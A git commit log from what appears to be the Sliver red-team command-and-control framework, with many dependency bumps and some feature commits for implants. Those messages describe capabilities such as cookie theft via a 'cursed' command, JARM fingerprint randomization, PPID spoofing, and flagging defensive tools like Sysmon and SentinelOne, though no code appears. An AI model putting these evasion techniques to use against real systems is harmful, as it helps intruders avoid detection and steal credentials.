moloch-- b4b9d8d413 Update wg GOGARBLE mask 2022-09-26 18:31:46 -07:00
moloch-- 9dfde9d5c9 Update implant vendor/ 2022-09-26 18:00:10 -07:00
moloch-- f6d6e9e55e Unit tests pass 2022-09-26 17:50:00 -07:00
moloch-- 0fd10d0c59 go mod tidy/vendor 2022-09-26 16:25:27 -07:00
moloch-- 35a7562980 Merge master 2022-09-26 16:24:34 -07:00
Joe 212f70d755 Merge pull request #911 from BishopFox/a13cdependabot/go_modules/github.com/onsi/gomega-1.20.2
Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
2022-09-26 12:56:39 -05:00
dependabot[bot] 5a2f4f4553 Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
Bumps [github.com/onsi/gomega](https://github.com/onsi/gomega) from 1.10.0 to 1.20.2.
- [Release notes](https://github.com/onsi/gomega/releases)
- [Changelog](https://github.com/onsi/gomega/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/gomega/compare/v1.10.0...v1.20.2)

---
updated-dependencies:
- dependency-name: github.com/onsi/gomega
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 15:24:55 +00:00
Joe cece2f2e01 Merge pull request #912 from BishopFox/d214dependabot/go_modules/github.com/onsi/ginkgo-1.16.5
Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
2022-09-26 10:22:36 -05:00
Joe f219d03453 Merge pull request #913 from BishopFox/72addependabot/go_modules/gorm.io/driver/postgres-1.3.10
Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
2022-09-26 10:20:38 -05:00
Joe 22e67f8390 Merge pull request #910 from BishopFox/86bedependabot/go_modules/google.golang.org/protobuf-1.28.1
Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
2022-09-26 10:20:18 -05:00
Joe 42299991db Merge pull request #909 from BishopFox/cursed
Cursed
2022-09-26 10:07:04 -05:00
dependabot[bot] c1995c6081 Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.3.9 to 1.3.10.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.3.9...v1.3.10)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:24 +00:00
dependabot[bot] 352df3c52b Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
Bumps [github.com/onsi/ginkgo](https://github.com/onsi/ginkgo) from 1.12.1 to 1.16.5.
- [Release notes](https://github.com/onsi/ginkgo/releases)
- [Changelog](https://github.com/onsi/ginkgo/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/ginkgo/compare/v1.12.1...v1.16.5)

---
updated-dependencies:
- dependency-name: github.com/onsi/ginkgo
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:18 +00:00
dependabot[bot] 0daff15f72 Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
Bumps [google.golang.org/protobuf](https://github.com/protocolbuffers/protobuf-go) from 1.27.1 to 1.28.1.
- [Release notes](https://github.com/protocolbuffers/protobuf-go/releases)
- [Changelog](https://github.com/protocolbuffers/protobuf-go/blob/master/release.bash)
- [Commits](https://github.com/protocolbuffers/protobuf-go/compare/v1.27.1...v1.28.1)

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:24:06 +00:00
moloch-- 46e58403dc add :file option to cursed console 2022-09-25 20:07:32 -07:00
moloch-- 70ba98aef4 hook console.log by default 2022-09-25 19:35:52 -07:00
Joe bc035d4003 Merge pull request #908 from jamesgol/wg_keyevent
Add new event WireGuardNewPeer to get peer configured immediately
2022-09-25 20:41:42 -05:00
moloch-- 31aaeeeab1 Save cookies to file 2022-09-25 18:22:29 -07:00
moloch-- d0826e63bc Added cursed cookies cmd 2022-09-25 17:51:07 -07:00
Joe ec8e26d2da Merge pull request #907 from jamesgol/beacon-host
Register new hosts when beacons are received and not just sessions
2022-09-25 17:36:59 -05:00
moloch-- 78213312c6 Merge branch 'master' into cursed 2022-09-25 11:07:15 -07:00
James Golovich c280489f49 Add \n to string
Worked without but looks more complete with it there
2022-09-23 21:02:12 -07:00
James Golovich 49faa6e6e4 Add new event WireGuardNewPeer to get peer configured immediately
Eliminates the 5 second delay on Wireguard connections
2022-09-23 20:57:22 -07:00
James Golovich 79b60eb321 Register new hosts when beacons are received and not just sessions 2022-09-23 16:27:06 -07:00
Joe 160486c55f Merge pull request #905 from jamesgol/limit-locale
Add ability to limit implant based on locale
2022-09-23 12:24:04 -05:00
Joe 556ebd86a6 Merge pull request #903 from jamesgol/reconfig-update
Make reconfig command to save to DB
2022-09-23 11:40:58 -05:00
Joe b86383a83d Merge pull request #904 from jamesgol/rportfwd-fix
Stop segfaults with rportfwd
2022-09-23 11:40:45 -05:00
James Golovich 7aa03f6845 Update compiled client.pb.go 2022-09-22 17:07:06 -07:00
James Golovich 3f6c38f3c7 Add LimitLocale to client.proto 2022-09-22 17:06:52 -07:00
James Golovich 86ec7248b6 Add ability to limit implant based on locale with regexp
Examples:
an exact match: en-US
substring: en
one of multiple: en-US|en-AU|en-UK
2022-09-22 17:04:07 -07:00
Joe aac39d72b6 Merge pull request #900 from jamesgol/info-fix
Allow info command to work with active sessions again
2022-09-22 16:31:13 -05:00
James Golovich f08b8e4dfe Stop segfault on server if tunnel cannot connect 2022-09-22 11:55:46 -07:00
James Golovich 4acbb6a5bb Stop segfault on implant if remote port is unavailable
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x9eaee9]

goroutine 26 [running]:
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func1({0xb42100, 0xc00007b2c0})
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:168 +0x1c9
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func2()
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:189 +0x2bd
created by github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:173 +0x54c
2022-09-22 11:42:26 -07:00
James Golovich 1caf9d2a1f Remove -n from reconfig command, that is handled by rename 2022-09-22 11:07:15 -07:00
James Golovich c69f68c24c Save reconfig data to DB 2022-09-22 11:07:15 -07:00
Joe df668bba84 Merge pull request #901 from BishopFox/aa1ddependabot/bundler/docs/commonmarker-0.23.6
Bump commonmarker from 0.23.4 to 0.23.6 in /docs
2022-09-22 11:00:17 -05:00
dependabot[bot] 1b0c52488b Bump commonmarker from 0.23.4 to 0.23.6 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.4 to 0.23.6.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.4...v0.23.6)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-22 02:09:09 +00:00
James Golovich 3cb1fe6473 Allow info command to work with active sessions again 2022-09-21 16:32:59 -07:00
Joe 73b6e5311f Merge pull request #898 from BishopFox/fix/rc4
Tweak ciphers, fix issue #896
2022-09-21 15:13:54 -05:00
Joe ef17dcca05 Merge pull request #895 from jamesgol/client-info
Add details to client info
2022-09-21 15:12:51 -05:00
moloch-- 0f53c7ca11 Tweak ciphers, fix issue #896 2022-09-21 09:13:40 -07:00
James Golovich 0b2e1c94e5 Add Last Checkin to info command 2022-09-20 22:13:11 -07:00
James Golovich a6791cc14e Update compiled protobufs 2022-09-20 21:56:01 -07:00
James Golovich 3cd1222552 Add FirstContact to ProtoBufs 2022-09-20 21:54:51 -07:00
James Golovich 2dc6c74c89 Add FirstContact to hosts/beacons/sessions info 2022-09-20 21:53:49 -07:00
James Golovich 905234714c Use 'use' Completor for 'info' command 2022-09-20 21:43:17 -07:00
James Golovich 3b39100b06 Add new SliverConsoleClient function FormateDateDelta
Refactored code from client/commands/beacons/beacons.go so it can be used elsewhere.
2022-09-20 18:26:49 -07:00
Joe 11949202b5 Merge pull request #893 from jamesgol/wireshark-sessions
Save implant Wireguard session keys
2022-09-20 19:29:40 -05:00
James Golovich d41833c490 Allow Wireguard implant to retrieve new keys after 3 connect failures 2022-09-20 12:23:39 -07:00
Joe 6c21d34963 Merge pull request #890 from BishopFox/fix/help
Fix help
2022-09-20 09:27:31 -05:00
Joe f68da6cf5c Merge pull request #891 from BishopFox/jarmy
Optionally randomize server JARM fingerprint
2022-09-20 09:27:11 -05:00
moloch-- 6b876d5b0b Fix typo 2022-09-19 23:00:48 -07:00
James Golovich a6d4e4fec2 Save implant Wireguard session keys
If the Wireguard implant is setup as a beacon it will connect using the implant private key at every beacon interval
and request a new key.  It's like in The Highlander, there can be only one... session for each private key.  If someone
had a large number of wg beacons connecting there's potential for multiples to be trying at one time.
2022-09-19 22:05:43 -07:00
moloch-- b6a49923d0 Remove rc4 ciphers, bump min n 2022-09-19 20:04:56 -07:00
moloch-- 9a450d9b5f Fix max n for min tls 2022-09-19 19:56:57 -07:00
moloch-- a0c0657bf3 Add comments 2022-09-19 19:45:05 -07:00
moloch-- d37de4f340 always select at least 4 ciphers 2022-09-19 19:37:18 -07:00
moloch-- 15b7059a87 always select at least 4 ciphers 2022-09-19 19:36:52 -07:00
moloch-- 620bdd71c5 Always use min tls 1.2 or lower to ensure compatibility 2022-09-19 19:35:47 -07:00
Joe 9c109bd236 Merge branch 'master' into jarmy
Signed-off-by: Joe <[email protected]>
2022-09-19 21:31:45 -05:00
moloch-- afd0b08c2f Optionally randomize server JARM fingerprint 2022-09-19 19:28:33 -07:00
moloch-- 8c144e3f66 Fix help 2022-09-19 18:23:52 -07:00
Ronan Kervella e5ca995419 Merge pull request #872 from jamesgol/tls-key-logger
Add option to log TLS info so packets can be decoded with wireshark
2022-09-19 13:03:11 -07:00
Ronan Kervella 5a1f192258 Merge pull request #889 from BishopFox/feature/msf-stagers
Reworked staging
2022-09-19 13:02:35 -07:00
rkervella 94a55f0150 Remove comments 2022-09-19 11:44:30 -07:00
rkervella 653f3c7e7c Reworked staging 2022-09-19 11:39:52 -07:00
Joe d9f4536e3f Merge pull request #888 from BishopFox/0777dependabot/go_modules/github.com/grpc-ecosystem/go-grpc-middleware-1.3.0
Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
2022-09-19 12:50:57 -05:00
Joe dd05d24fb1 Merge pull request #886 from BishopFox/6ae4dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.8
Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
2022-09-19 12:50:13 -05:00
dependabot[bot] c3df9ac47e Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.21.10 to 3.22.8.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/compare/v3.21.10...v3.22.8)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:34 +00:00
dependabot[bot] d011b57e31 Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
Bumps [github.com/grpc-ecosystem/go-grpc-middleware](https://github.com/grpc-ecosystem/go-grpc-middleware) from 1.2.2 to 1.3.0.
- [Release notes](https://github.com/grpc-ecosystem/go-grpc-middleware/releases)
- [Changelog](https://github.com/grpc-ecosystem/go-grpc-middleware/blob/master/CHANGELOG.md)
- [Commits](https://github.com/grpc-ecosystem/go-grpc-middleware/compare/v1.2.2...v1.3.0)

---
updated-dependencies:
- dependency-name: github.com/grpc-ecosystem/go-grpc-middleware
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:05 +00:00
Joe 8db2be4e9f Merge pull request #887 from BishopFox/120edependabot/go_modules/gorm.io/gorm-1.23.9
Bump gorm.io/gorm from 1.23.8 to 1.23.9
2022-09-19 10:54:00 -05:00
Joe 1b8411d097 Merge pull request #885 from BishopFox/c6addependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.3.8
Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
2022-09-19 10:53:27 -05:00
Ronan Kervella 67094dec1c Merge pull request #884 from BishopFox/external-builder
External builder
2022-09-19 08:33:46 -07:00
Ronan Kervella 265a1fa33e Merge pull request #869 from BishopFox/obfs
Tweaks to Implant
2022-09-19 08:32:58 -07:00
James Golovich 85e6121685 Print console message when TLS key logging enabled 2022-09-18 22:20:55 -07:00
dependabot[bot] 071a0cb574 Bump gorm.io/gorm from 1.23.8 to 1.23.9
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.23.8 to 1.23.9.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.23.8...v1.23.9)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:58:38 +00:00
dependabot[bot] d469d33e7f Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.2.4 to 6.3.8.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.2.4...v6.3.8)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:35:21 +00:00
moloch-- b013d555a4 Add events api 2022-09-18 18:56:11 -07:00
moloch-- bdf0c7b3f6 Improved comments 2022-09-18 18:30:04 -07:00
moloch-- f042dee7e9 Improved err handling 2022-09-18 18:28:10 -07:00
moloch-- e0b756a5b6 Implement the rest of the external build api 2022-09-18 18:22:24 -07:00
moloch-- f12a60541f Outline external build api 2022-09-18 13:24:01 -07:00
Joe 3c90e4b7e0 Merge pull request #883 from MrAle98/feature/manage-rportfwd
Add reverse port forwardings management
2022-09-18 11:15:47 -05:00
MrAle98 c894e623ca start/stop commands renamed to add/rm 2022-09-17 19:45:39 +02:00
MrAle98 03a6f5f0b6 minor fix 2022-09-17 15:16:19 +02:00
MrAle98 7b3739b87c rportfwd error handling 2022-09-17 14:45:21 +02:00
MrAle98 8a5855fa53 fix rportfwd handlers map 2022-09-17 12:21:29 +02:00
MrAle98 fa11691efb client minor fix 2022-09-17 12:14:36 +02:00
MrAle98 5628197789 renamed add/rm operations to start/stop. stop returns more information 2022-09-17 12:09:18 +02:00
Joe dfba1eeb65 Merge pull request #881 from jamesgol/http-time-warp
Track HTTP time difference in case the implant clock is wrong
2022-09-16 20:44:43 -05:00
Joe 181163d65b Merge pull request #877 from BishopFox/feature/rportfwd
Feature/rportfwd
2022-09-16 20:01:50 -05:00
James Golovich f8db5d4607 Track HTTP time difference in case the implant clock is wrong 2022-09-16 16:12:48 -07:00
Chris Smith e1516ff6c0 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:43:12 -07:00
Chris Smith 82e58c74f7 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:42:22 -07:00
Joe 91a3b36ab4 Merge pull request #878 from jamesgol/wg_persist
Ensure Wireguard keyPort persists
2022-09-16 12:33:07 -05:00
moloch-- 62748edc97 Align rportfwd and portfwd bind parsing 2022-09-15 15:44:20 -07:00
moloch-- 5baf9d3b3b Improved rportfwd ux 2022-09-15 15:40:17 -07:00
James Golovich 5332d0c76f Ensure Wireguard keyPort persists 2022-09-15 15:21:33 -07:00
moloch-- 7a9f216d9c Only include log code when debug mode is enabled 2022-09-15 14:00:36 -07:00
moloch-- 754b9f6af6 Merge master 2022-09-15 13:13:38 -07:00
moloch-- 0c601bdc4b Tweak rportfwd implementation 2022-09-15 13:09:50 -07:00
Joe 3a06595517 Merge pull request #856 from jamesgol/implant-locale
Add locale to beacons/sessions on implants
2022-09-15 11:11:25 -05:00
Joe a91b5a8721 Merge pull request #874 from jamesgol/wg-debug
Change log entries to Debug for WireGuard config
2022-09-15 11:06:37 -05:00
Joe c1ac4ddfea Merge pull request #875 from jamesgol/fix-wg-beacon-win
Sleep before shutting down beacon instead of after
2022-09-15 11:06:21 -05:00
MrAle98 b03657462b minor fix 2022-09-15 16:46:36 +02:00
MrAle98 8bc85b25aa added reverse port forwarding 2022-09-15 11:02:34 +02:00
James Golovich 18f8a8c23f Delay closing to all coroutines to complete
Wireguard beacons could connect, but results of commands weren't making it back.

This is a bit hacky.  It works, but it would be better if there was a way to wait till everything has been transmitted.
2022-09-14 21:44:57 -07:00
James Golovich 4748f61480 Sleep before shutting down beacon instead of after
When using a windows implant + wireguard it looks like the beacon registration message is never recieved by the server because the session is closed too quickly.

Fixes #670
2022-09-14 18:54:08 -07:00
James Golovich f7a4aacf5f Change log entries to Debug
With a lot of WireGuard beacons coming in these logs get excessive
2022-09-14 16:26:29 -07:00
James Golovich 68d624fe17 Add option for TLS key logging to implant when in debug mode 2022-09-14 14:29:20 -07:00
James Golovich acc4e39cbb Switch to using SSLKEYLOGFILE env var instead of config var 2022-09-14 14:04:49 -07:00
James Golovich a2673f74c9 Add option to log TLS info so packets can be decoded with wireshark 2022-09-14 12:59:35 -07:00
James Golovich da45b2da82 Remove processor constraints for build 2022-09-14 09:00:25 -07:00
moloch-- f6281bdcd7 Added keep-alive, headless, and additional args 2022-09-14 08:59:33 -06:00
James Golovich 097866d0a2 Include github.com/cubiest/jibberjabber files 2022-09-13 16:34:27 -07:00
James Golovich 11959d5911 Separate generic and os specific locale functions 2022-09-13 16:33:27 -07:00
Joe 70b06673fd Merge pull request #867 from jamesgol/implant-vendor-script
Trap failed build when running 'go generate' on the implant
2022-09-13 11:07:20 -05:00
Joe 84a95aea2a Merge pull request #866 from jamesgol/debug-no-canaries
Stop excessive build logging if there are no canaries
2022-09-13 11:07:08 -05:00
moloch-- ba3ec022bb Add lic 2022-09-13 08:31:11 -06:00
moloch-- 394ba431b2 Add lic 2022-09-13 08:28:52 -06:00
moloch-- cda6aeaee6 Remove un-needed pointers 2022-09-13 08:25:37 -06:00
James Golovich 100b26afd0 Trap failed build when running 'go generate' on the implant
I had an error that caused the build to fail which left the environment without a vendor directory
2022-09-12 21:31:25 -07:00
moloch-- 187f9e99ac Refactor c2 url handling 2022-09-12 20:40:39 -06:00
James Golovich 4917c313b6 Stop excessive build logging if there are no canaries 2022-09-12 19:36:50 -07:00
Joe 1f6abf9be3 Merge pull request #863 from BishopFox/a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
2022-09-12 14:54:13 -05:00
Joe 25a22054b7 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 11:02:42 -05:00
Joe 64c5460545 Merge pull request #862 from BishopFox/c6cfdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.6
Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
2022-09-12 11:01:44 -05:00
dependabot[bot] 76fb9dfc93 Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.2.2 to 2.3.6.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.2.2...v2.3.6)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 15:16:37 +00:00
Joe ccd3ed2250 Merge pull request #861 from BishopFox/2e20dependabot/go_modules/github.com/spf13/cobra-1.5.0
Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
2022-09-12 10:14:30 -05:00
Joe fb5c6c0c88 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 10:13:57 -05:00
Joe 11878069f6 Merge pull request #864 from BishopFox/2a7fdependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.0
Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
2022-09-12 10:12:50 -05:00
Joe 3db3930091 Merge pull request #865 from BishopFox/024fdependabot/go_modules/github.com/gofrs/uuid-4.3.0incompatible
Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
2022-09-12 10:12:05 -05:00
dependabot[bot] 9e6412c911 Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.0.0+incompatible to 4.3.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.0.0...v4.3.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:06 +00:00
dependabot[bot] ade96fa281 Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:00 +00:00
dependabot[bot] 3035d75882 Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.8.1 to 1.9.0.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.8.1...v1.9.0)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:53 +00:00
dependabot[bot] 4ed95375e0 Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.1.1 to 1.5.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.1.1...v1.5.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:38 +00:00
Ronan Kervella 9ee10c5321 Merge pull request #860 from BishopFox/cleanup
Random cleanups and improvements
2022-09-09 14:41:54 -07:00
moloch-- 3cc7be8a9f Random cleanups and improvements 2022-09-09 11:02:04 -07:00
Joe d411d2400c Merge pull request #859 from BishopFox/fix/certs
Fix low entropy x509 subjects
2022-09-08 20:20:44 -05:00
moloch-- e31cafa81d Fix low entropy x509 subjects 2022-09-08 17:37:02 -07:00
Ronan Kervella 80677e652b Merge pull request #857 from cmprmsd/patch-1
Add sysmon + sysmon64
2022-09-08 07:32:01 -07:00
cmprmsd 88abea26a7 Add sysmon + sysmon64
As Sysmon is more commonly used for logging I assume we should flag it also as known security tool.

Signed-off-by: cmprmsd <[email protected]>
2022-09-08 10:46:53 +02:00
James Golovich 18871a8521 Add generated protobuf code 2022-09-07 23:45:53 -07:00
James Golovich ca3377799b Add Locale to protobuf definitions 2022-09-07 23:45:09 -07:00
James Golovich be477918d2 Add locale to implants Sessions and Beacons 2022-09-07 23:44:18 -07:00
Joe 120d537044 Merge pull request #855 from faisalfs10x/faisalfs10x-patch-1
Add trend micro processes
2022-09-07 19:12:07 -05:00
Faisal Fs 59781d4328 Update ps.go
Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:36:05 +08:00
Ronan Kervella f117995aa1 Merge pull request #854 from r00t0v3rr1d3/add-cylance-tanium-senone
Add additional known security tools
2022-09-07 15:16:39 -07:00
Faisal Fs e4793cf616 Add trend micro processes
Add known Trend Micro processes
reference: https://success.trendmicro.com/dcx/s/solution/1122160-monitoring-deep-security-services?language=en_US&sfdcIFrameOrigin=null

Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:08:43 +08:00
Chris Shields b68f4bffd3 Add additional known security tools
Few more SentinelOne processes. Cylance and Tanium processes.
2022-09-07 17:00:33 -04:00
Joe 22fea029ec Merge pull request #853 from BishopFox/audit-log
Improvements to the audit log
2022-09-07 14:25:51 -05:00
rkervella 8ceaff528b Update garble 2022-09-07 11:04:36 -07:00
moloch-- b1db1ab614 improvements to the audit log 2022-09-07 10:20:10 -07:00
Joe 40b99e860f Merge pull request #851 from jamesgol/loot_file
Catch error on 'loot remote' if file doesn't exist
2022-09-07 10:06:40 -05:00
James Golovich 56d143b018 Catch error on 'loot remote' if file doesn't exist 2022-09-06 23:02:20 -07:00
Ronan Kervella 327f7c6826 Merge pull request #850 from jamesgol/websites-strip
Strip query parameters from URLs for incoming HTTP(s) websites
2022-09-06 17:26:04 -07:00
James Golovich eb9506510e Handle err condition 2022-09-06 16:19:03 -07:00
James Golovich 9c5aa26af9 Strip query parameters from URLs for incoming HTTP(s) websites 2022-09-06 16:05:26 -07:00
rkervella a5b4e5310f Update garble 2022-09-06 15:48:17 -07:00
Ronan Kervella f2b78748de Merge pull request #849 from BishopFox/update/gorm
Update/gorm
2022-09-06 13:35:18 -07:00
moloch-- 891bb49f1a Make TAGS overridable in Makefile 2022-09-06 12:39:12 -07:00
moloch-- 82d1728360 Updated gorm and db drivers 2022-09-06 12:36:02 -07:00
moloch-- 01b6a3c657 Updated gorm and db drivers 2022-09-06 12:35:49 -07:00
rkervella 3b3987d19f Update supported minor version 2022-09-06 12:23:26 -07:00
rkervella 6072affe38 Update to go1.19.1 2022-09-06 12:20:21 -07:00
rkervella 555e1d1123 Update Dockerfile and assets 2022-09-06 12:17:10 -07:00
rkervella e7524d28d0 Implant vendor 2022-09-06 12:09:48 -07:00
rkervella 68515f0873 Update vendor 2022-09-06 12:09:28 -07:00
rkervella 8b55dca890 go1.19 2022-09-06 12:09:19 -07:00
Ronan Kervella 312f133f1e Merge pull request #847 from BishopFox/go/v1.18.6
Go v1.18.6
2022-09-06 11:02:47 -07:00
Ronan Kervella a141e1f689 Merge pull request #848 from BishopFox/fix/execute-assembly-ppid
Fix `execute-assembly`, add PPID and arg spoofing to `sideload`
2022-09-06 11:02:36 -07:00
Joe a9a16aaa39 Merge pull request #842 from BishopFox/bf79dependabot/go_modules/github.com/alecthomas/chroma-0.10.0
Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
2022-09-06 13:02:21 -05:00
Joe 2c944db7ed Merge pull request #841 from BishopFox/2447dependabot/github_actions/actions/download-artifact-3
Bump actions/download-artifact from 2 to 3
2022-09-06 13:01:50 -05:00
Joe b93f939ec5 Merge pull request #840 from BishopFox/ce34dependabot/github_actions/actions/upload-artifact-3
Bump actions/upload-artifact from 2 to 3
2022-09-06 13:01:34 -05:00
Joe ba07826d83 Merge pull request #839 from BishopFox/2451dependabot/github_actions/github/codeql-action-2
Bump github/codeql-action from 1 to 2
2022-09-06 13:01:19 -05:00
Joe 09fb3e0095 Merge pull request #838 from BishopFox/3694dependabot/github_actions/actions/setup-go-3
Bump actions/setup-go from 2 to 3
2022-09-06 13:01:03 -05:00
Joe be9c34e1ef Merge pull request #837 from BishopFox/a8fedependabot/github_actions/actions/checkout-3
Bump actions/checkout from 2 to 3
2022-09-06 13:00:47 -05:00
Joe d5945898b3 Merge pull request #844 from BishopFox/8995dependabot/go_modules/github.com/miekg/dns-1.1.50
Bump github.com/miekg/dns from 1.1.35 to 1.1.50
2022-09-06 13:00:24 -05:00
rkervella 7d8457d494 Use proper type for PPID flag, add ppid + process args to sideload 2022-09-06 10:20:01 -07:00
dependabot[bot] 330ceea52f Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
Bumps [github.com/alecthomas/chroma](https://github.com/alecthomas/chroma) from 0.8.1 to 0.10.0.
- [Release notes](https://github.com/alecthomas/chroma/releases)
- [Changelog](https://github.com/alecthomas/chroma/blob/master/.goreleaser.yml)
- [Commits](https://github.com/alecthomas/chroma/compare/v0.8.1...v0.10.0)

---
updated-dependencies:
- dependency-name: github.com/alecthomas/chroma
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-06 17:00:31 +00:00
